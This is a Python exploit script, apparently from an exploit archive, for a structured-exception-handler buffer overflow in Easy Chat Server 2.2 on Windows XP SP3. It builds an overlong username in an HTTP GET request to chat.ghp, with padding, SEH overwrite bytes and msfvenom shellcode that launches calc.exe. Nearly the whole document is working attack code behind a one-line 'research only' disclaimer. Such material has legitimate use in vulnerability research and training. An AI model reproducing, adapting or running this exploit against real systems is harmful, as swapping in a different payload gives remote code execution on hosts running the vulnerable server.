'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Easy Chat Server 2.2
		Available Here: https://www.exploit-db.com/apps/5ecb211687d5e835d5f8e4d2df7ea18a-Easy_Chat_Server_2.2.exe
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3 

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''

import socket, sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host="127.0.0.1"
sock.connect((host, 80))

#msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00\x0a\x0d\x20'
calc =  b""
calc += b"\xdd\xc0\xbf\xbf\x46\x3b\x17\xd9\x74\x24\xf4\x5a\x31"
calc += b"\xc9\xb1\x31\x83\xea\xfc\x31\x7a\x14\x03\x7a\xab\xa4"
calc += b"\xce\xeb\x3b\xaa\x31\x14\xbb\xcb\xb8\xf1\x8a\xcb\xdf"
calc += b"\x72\xbc\xfb\x94\xd7\x30\x77\xf8\xc3\xc3\xf5\xd5\xe4"
calc += b"\x64\xb3\x03\xca\x75\xe8\x70\x4d\xf5\xf3\xa4\xad\xc4"
calc += b"\x3b\xb9\xac\x01\x21\x30\xfc\xda\x2d\xe7\x11\x6f\x7b"
calc += b"\x34\x99\x23\x6d\x3c\x7e\xf3\x8c\x6d\xd1\x88\xd6\xad"
calc += b"\xd3\x5d\x63\xe4\xcb\x82\x4e\xbe\x60\x70\x24\x41\xa1"
calc += b"\x49\xc5\xee\x8c\x66\x34\xee\xc9\x40\xa7\x85\x23\xb3"
calc += b"\x5a\x9e\xf7\xce\x80\x2b\xec\x68\x42\x8b\xc8\x89\x87"
calc += b"\x4a\x9a\x85\x6c\x18\xc4\x89\x73\xcd\x7e\xb5\xf8\xf0"
calc += b"\x50\x3c\xba\xd6\x74\x65\x18\x76\x2c\xc3\xcf\x87\x2e"
calc += b"\xac\xb0\x2d\x24\x40\xa4\x5f\x67\x0e\x3b\xed\x1d\x7c"
calc += b"\x3b\xed\x1d\xd0\x54\xdc\x96\xbf\x23\xe1\x7c\x84\xdc"
calc += b"\xab\xdd\xac\x74\x72\xb4\xed\x18\x85\x62\x31\x25\x06"
calc += b"\x87\xc9\xd2\x16\xe2\xcc\x9f\x90\x1e\xbc\xb0\x74\x21"
calc += b"\x13\xb0\x5c\x42\xf2\x22\x3c\xab\x91\xc2\xa7\xb3"

buf = "A" * 216 
buf += "\xEB\x06\x90\x90"		#overwriting the next SEH Record Address with jmp short 0x06
buf += "\xa1\x2c\x01\x10" 		#overwriting the SEH Handler Address with pop pop ret sequence
buf += calc
buf += "D" * (2000 - len(buf))

cmd = "GET /chat.ghp?username=" 
cmd += buf 
cmd += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"

print buf
sock.send(cmd)
sock.close()
